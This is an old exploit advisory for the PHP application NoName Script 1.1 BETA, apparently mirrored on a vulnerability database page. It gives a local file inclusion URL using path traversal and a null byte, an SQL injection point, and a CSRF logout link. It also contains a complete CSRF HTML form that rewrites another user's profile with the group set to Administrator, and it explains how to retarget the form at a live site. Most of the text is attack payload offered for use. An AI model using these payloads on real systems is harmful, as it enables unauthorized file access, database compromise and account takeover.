NoName Script <= 1.1 Multiple Remote Vulnerabilities

🗓️ 24 Aug 2008 00:00:00Reported by RootType
NoName Script 1.1 BETA Multiple Remote Vulnerabilities discovered by SirGod on www.mortal-team.org. Local File Inclusion, SQL Injection, Cross Site Request Forgery, Change User Profile vulnerability found

                                                ################################################################################
[+] NoName Script 1.1 BETA Multiple Remote Vulnerabilities  
[+] Discovered By SirGod                         
[+] www.mortal-team.org                         
[+] Greetz : E.M.I.N.E.M,Ras,Puscas_marin,ToxicBlood,MesSiAH,xZu,HrN,kemrayz
#################################################################################

[+] Local File Inclusion

     http://localhost/index.php?action=../../../autoexec.bat%00&amp;kategorie=Tutorial
     
    This will open autoexec.bat .

[+] SQL Injection   

     http://localhost/index.php?action=newsadmindel&amp;file_id=[SQL]
     
[+] Cross Site Request Forgery     

     If an logged in user with administrative permisions will click the following link ,he will be logged out.

     http://localhost/logout.php

[+] Cross Site Request Forgery - Change User Profile

    If an logged in user with administrative permisions will click the following link the following action will be executed.

    What to change :
   
    - form action and profil_id : &lt;form action=&quot;http://localhost/index.php?action=editsettings&amp;profil_id=67&quot; method=&quot;post&quot; ....etc &gt;
       action : change http://localhost with the website link.
       profil_id : id of the user that you want to change settings for it
    - input value : &lt;td&gt;&lt;input name=&quot;edit_benutzername&quot; disabled=&quot;disabled&quot; value=&quot;Sirgod&quot; type=&quot;text&quot;&gt;&lt;/td&gt;
       value : your name (corresponding to ID)
      
    And now edit the other settings change via web browser.After that,use this CSRF wisely.

[+] Here is the HTML code :   

&lt;form action=&quot;http://localhost/index.php?action=editsettings&amp;profil_id=67&quot; method=&quot;post&quot; name=&quot;editsettings&quot; id=&quot;editsettings&quot;&gt;
        &lt;input name=&quot;sent&quot; value=&quot;1&quot; type=&quot;hidden&quot;&gt;

    &lt;center&gt;&lt;table border=&quot;0&quot; cellpadding=&quot;3&quot; cellspacing=&quot;0&quot;&gt;
        &lt;tbody&gt;&lt;tr&gt;
            &lt;td colspan=&quot;2&quot; style=&quot;font-weight: bold;&quot;&gt;
                Benutzerinformationen
            &lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
            &lt;td&gt;Benutzername:&amp;nbsp;&lt;/td&gt;
            &lt;td&gt;&lt;input name=&quot;edit_benutzername&quot; disabled=&quot;disabled&quot; value=&quot;Sirgod&quot; type=&quot;text&quot;&gt;&lt;/td&gt;

        &lt;/tr&gt;
        &lt;tr&gt;
            &lt;td&gt;Benutzergruppe:&amp;nbsp;&lt;/td&gt;
            &lt;td&gt;
                                &lt;select name=&quot;edit_benutzergruppe&quot; size=&quot;1&quot;&gt;
                                                &lt;option value=&quot;0&quot;&gt;User&lt;/option&gt;
                            &lt;option value=&quot;1&quot;&gt;Premium Member&lt;/option&gt;

                            &lt;option value=&quot;2&quot;&gt;Deleter&lt;/option&gt;
                            &lt;option value=&quot;3&quot;&gt;Moderator&lt;/option&gt;
                            &lt;option value=&quot;4&quot; selected=&quot;selected&quot;&gt;Administrator&lt;/option&gt;
                                            &lt;/select&gt;
            &lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
            &lt;td colspan=&quot;2&quot;&gt;&lt;hr&gt;&lt;/td&gt;

        &lt;/tr&gt;
        &lt;tr&gt;
            &lt;td colspan=&quot;2&quot; style=&quot;font-weight: bold;&quot;&gt;
                Zus&amp;auml;tzliche Informationen
            &lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
            &lt;td&gt;Geschlecht:&amp;nbsp;&lt;/td&gt;
            &lt;td&gt;

                &lt;select name=&quot;edit_geschlecht&quot; size=&quot;1&quot;&gt;
                                                &lt;option value=&quot;&quot;&gt;keine Angabe&lt;/option&gt;
                            &lt;option value=&quot;m&quot; selected=&quot;selected&quot;&gt;m&amp;auml;nnlich&lt;/option&gt;
                            &lt;option value=&quot;w&quot;&gt;weiblich&lt;/option&gt;
                                            &lt;/select&gt;
            &lt;/td&gt;
        &lt;/tr&gt;

        &lt;tr&gt;
            &lt;td&gt;Geburtstag:&amp;nbsp;&lt;/td&gt;
            &lt;td&gt;
                &lt;select name=&quot;edit_gb_tag&quot; size=&quot;1&quot;&gt;
                    &lt;option value=&quot;&quot;&gt;&amp;nbsp;&lt;/option&gt;
                    &lt;option value=&quot;1&quot;&gt;1&lt;/option&gt;&lt;option value=&quot;2&quot;&gt;2&lt;/option&gt;&lt;option value=&quot;3&quot;

selected=&quot;selected&quot;&gt;3&lt;/option&gt;&lt;option value=&quot;4&quot;&gt;4&lt;/option&gt;&lt;option value=&quot;5&quot;&gt;5&lt;/option&gt;&lt;option

value=&quot;6&quot;&gt;6&lt;/option&gt;&lt;option value=&quot;7&quot;&gt;7&lt;/option&gt;&lt;option value=&quot;8&quot;&gt;8&lt;/option&gt;&lt;option value=&quot;9&quot;&gt;9&lt;/option&gt;&lt;option

value=&quot;10&quot;&gt;10&lt;/option&gt;&lt;option value=&quot;11&quot;&gt;11&lt;/option&gt;&lt;option value=&quot;12&quot;&gt;12&lt;/option&gt;&lt;option

value=&quot;13&quot;&gt;13&lt;/option&gt;&lt;option value=&quot;14&quot;&gt;14&lt;/option&gt;&lt;option value=&quot;15&quot;&gt;15&lt;/option&gt;&lt;option

value=&quot;16&quot;&gt;16&lt;/option&gt;&lt;option value=&quot;17&quot;&gt;17&lt;/option&gt;&lt;option value=&quot;18&quot;&gt;18&lt;/option&gt;&lt;option

value=&quot;19&quot;&gt;19&lt;/option&gt;&lt;option value=&quot;20&quot;&gt;20&lt;/option&gt;&lt;option value=&quot;21&quot;&gt;21&lt;/option&gt;&lt;option

value=&quot;22&quot;&gt;22&lt;/option&gt;&lt;option value=&quot;23&quot;&gt;23&lt;/option&gt;&lt;option value=&quot;24&quot;&gt;24&lt;/option&gt;&lt;option

value=&quot;25&quot;&gt;25&lt;/option&gt;&lt;option value=&quot;26&quot;&gt;26&lt;/option&gt;&lt;option value=&quot;27&quot;&gt;27&lt;/option&gt;&lt;option

value=&quot;28&quot;&gt;28&lt;/option&gt;&lt;option value=&quot;29&quot;&gt;29&lt;/option&gt;&lt;option value=&quot;30&quot;&gt;30&lt;/option&gt;&lt;option value=&quot;31&quot;&gt;31&lt;/option&gt;          

     &lt;/select&gt;

                &lt;select name=&quot;edit_gb_monat&quot; size=&quot;1&quot;&gt;
                    &lt;option value=&quot;&quot;&gt;&amp;nbsp;&lt;/option&gt;
                    &lt;option value=&quot;1&quot;&gt;Januar&lt;/option&gt;&lt;option value=&quot;2&quot;&gt;Februar&lt;/option&gt;&lt;option value=&quot;3&quot;&gt;M&amp;auml;rz&lt;/option&gt;&lt;option

value=&quot;4&quot;&gt;April&lt;/option&gt;&lt;option value=&quot;5&quot;&gt;Mai&lt;/option&gt;&lt;option value=&quot;6&quot;&gt;Juni&lt;/option&gt;&lt;option

value=&quot;7&quot;&gt;Juli&lt;/option&gt;&lt;option value=&quot;8&quot;&gt;August&lt;/option&gt;&lt;option value=&quot;9&quot;&gt;September&lt;/option&gt;&lt;option

value=&quot;10&quot;&gt;Oktober&lt;/option&gt;&lt;option value=&quot;11&quot; selected=&quot;selected&quot;&gt;November&lt;/option&gt;&lt;option

value=&quot;12&quot;&gt;Dezember&lt;/option&gt;                &lt;/select&gt;

                &lt;input name=&quot;edit_gb_jahr&quot; style=&quot;width: 45px;&quot; maxlength=&quot;4&quot; value=&quot;1991&quot; type=&quot;text&quot;&gt;
            &lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
            &lt;td valign=&quot;top&quot;&gt;Benutzertext:&amp;nbsp;&lt;/td&gt;
            &lt;td&gt;&lt;textarea name=&quot;edit_beschreibung&quot; style=&quot;width: 270px; height: 90px;&quot;&gt;Was geht aaaab xD&lt;/textarea&gt;
        &lt;/td&gt;&lt;/tr&gt;
        &lt;tr&gt;

            &lt;td&gt;Homepage:&amp;nbsp;&lt;/td&gt;
            &lt;td&gt;&lt;input name=&quot;edit_homepage&quot; value=&quot;http://paddys.tk&quot; type=&quot;text&quot;&gt;&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
            &lt;td colspan=&quot;2&quot;&gt;&lt;hr&gt;&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
            &lt;td colspan=&quot;2&quot; style=&quot;font-weight: bold;&quot;&gt;

                Instant Messaging
            &lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
            &lt;td&gt;ICQ-Nummer:&amp;nbsp;&lt;/td&gt;
            &lt;td&gt;&lt;input name=&quot;edit_icq&quot; value=&quot;&quot; type=&quot;text&quot;&gt;&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
            &lt;td&gt;MSN-Name:&amp;nbsp;&lt;/td&gt;

            &lt;td&gt;&lt;input name=&quot;edit_msn&quot; value=&quot;&quot; type=&quot;text&quot;&gt;&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
            &lt;td&gt;AIM-Name:&amp;nbsp;&lt;/td&gt;
            &lt;td&gt;&lt;input name=&quot;edit_yahoo&quot; value=&quot;&quot; type=&quot;text&quot;&gt;&lt;/td&gt;
        &lt;/tr&gt;
                &lt;tr&gt;
            &lt;td colspan=&quot;2&quot;&gt;&lt;hr&gt;&lt;/td&gt;

        &lt;/tr&gt;
        &lt;tr&gt;
            &lt;td colspan=&quot;2&quot; style=&quot;font-weight: bold;&quot;&gt;
                Verwarnungen
            &lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
            &lt;td&gt;&amp;nbsp;&lt;/td&gt;
            &lt;td&gt;

            Admin wurde noch nicht verwarnt.            &lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
            &lt;td&gt;Aktion:&amp;nbsp;&lt;/td&gt;
            &lt;td&gt;
                &lt;a href=&quot;#&quot; onclick=&quot;HelpPopup('verwarn.php?profil_id=24');&quot;&gt;Verwarnungen verwalten&lt;/a&gt;
            &lt;/td&gt;

        &lt;/tr&gt;
                &lt;tr&gt;
            &lt;td colspan=&quot;2&quot;&gt;&amp;nbsp;&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
            &lt;td&gt;&amp;nbsp;&lt;/td&gt;
            &lt;td&gt;&lt;input name=&quot;submit&quot; value=&quot;Speichern&quot; type=&quot;submit&quot;&gt;&lt;/td&gt;
        &lt;/tr&gt;

    &lt;/tbody&gt;&lt;/table&gt;&lt;/center&gt;
    &lt;/form&gt;

#################################################################################
24 Aug 2008 00:00Current
7.1High risk
Vulners AI Score7.1
NoName Script &lt;= 1.1 Multiple Remote Vulnerabilities

NoName Script <= 1.1 Multiple Remote Vulnerabilities
